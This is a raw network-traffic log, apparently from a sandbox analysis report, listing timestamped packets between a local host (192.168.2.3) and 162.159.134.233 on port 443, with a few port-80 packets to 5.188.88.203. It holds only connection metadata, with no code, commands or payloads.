Oct 29, 2021 14:10:08.012797117 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.012811899 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012929916 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012985945 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.012996912 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013070107 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013123989 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013138056 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013204098 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013211966 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013226032 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013282061 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013287067 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013305902 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013401031 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013449907 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013463974 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013525963 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013576984 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013582945 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013598919 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013648987 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013662100 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013745070 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013794899 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013804913 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013865948 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013916969 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.013930082 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013947964 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.013993979 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014012098 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014112949 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014126062 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014142990 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014189959 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014205933 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014297962 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014349937 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014358997 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014374971 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014422894 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014436007 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014503956 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014554024 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014565945 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014581919 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014628887 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014646053 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014750004 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.014813900 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.014826059 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.015583038 CEST	80	49808	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.015701056 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.015795946 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.015805960 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.030308962 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030378103 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030390978 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030447960 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030452967 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030488014 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030512094 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030531883 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030565023 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030627012 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030672073 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030733109 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030755997 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030819893 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030841112 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.030896902 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.030993938 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031052113 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031086922 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031142950 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031142950 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031163931 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031197071 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031233072 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031286955 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031300068 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031354904 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031382084 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031393051 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031414986 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031424999 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031477928 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031488895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031513929 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031538963 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031554937 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031565905 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031600952 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031652927 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031663895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031685114 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.031740904 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.031753063 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.048801899 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.048907995 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.048937082 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.048959970 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.048994064 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049045086 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049102068 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049120903 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049148083 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049199104 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049211979 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049232006 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049282074 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049293995 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049314022 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049360037 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049370050 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049397945 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049464941 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049542904 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049554110 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049572945 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049604893 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049653053 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049705982 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049719095 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049736977 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049782038 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049809933 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049858093 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049871922 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049894094 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.049942970 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.049952984 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050010920 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050060987 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050072908 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050093889 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050143957 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050154924 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050189972 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050240993 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050252914 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050282001 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050331116 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050340891 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050379992 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050432920 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050448895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050478935 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050530910 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050549984 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050568104 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050616026 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050628901 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050657034 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050714016 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050725937 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050801992 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050870895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050879955 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.050894022 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.050935030 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051295996 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.051342964 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.051362991 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051377058 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.051398993 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051424026 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051459074 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.051538944 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051585913 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.051922083 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.051963091 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052004099 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052016020 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052073002 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052243948 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052289963 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052330017 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052377939 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052390099 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052409887 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052692890 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052731037 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052741051 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052756071 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.052762032 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052804947 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.052825928 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.053101063 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053141117 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053184986 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.053200960 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053212881 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.053479910 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053517103 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053548098 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.053559065 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.053596020 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.055581093 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.056283951 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071027994 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071074963 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071197033 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071239948 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071264982 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071392059 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071430922 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071470022 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071485996 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071502924 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071747065 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071785927 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071818113 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.071832895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.071849108 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072079897 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072120905 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072148085 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072160006 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072212934 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072222948 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072356939 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072396040 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072421074 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072434902 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072467089 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072738886 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072777033 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072825909 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.072838068 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.072876930 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073107004 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073146105 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073194981 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073213100 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073225021 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073435068 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073471069 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073506117 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073518991 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073544025 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073760986 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073796034 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073837042 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.073847055 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.073862076 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074147940 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074184895 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074219942 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074233055 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074264050 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074470043 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074505091 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074527979 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074537992 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074549913 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074568033 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074786901 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074822903 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074856997 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.074870110 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.074887037 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075064898 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075113058 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075150013 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075191975 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075202942 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075249910 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075463057 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075499058 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075539112 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075552940 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075567961 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075797081 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075834036 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075865030 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.075875998 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.075891018 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076165915 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076205015 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076234102 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076246977 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076261997 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076499939 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076533079 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076571941 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076591015 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076601982 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076755047 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076787949 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076817989 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.076831102 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.076848030 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077061892 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077097893 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077131987 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077147007 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077161074 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077311993 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077344894 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077378035 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077392101 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077405930 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077596903 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077630997 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077660084 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077672005 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.077686071 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.077941895 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.078566074 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.080518961 CEST	80	49808	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.095976114 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096018076 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096178055 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.096193075 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096296072 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096332073 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096373081 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.096385002 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096398115 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.096731901 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096771955 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096808910 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.096822023 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.096834898 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.097201109 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.097240925 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.097287893 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.097301006 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.097316027 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.097608089 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.097649097 CEST	443	49807	162.159.134.233	192.168.2.3
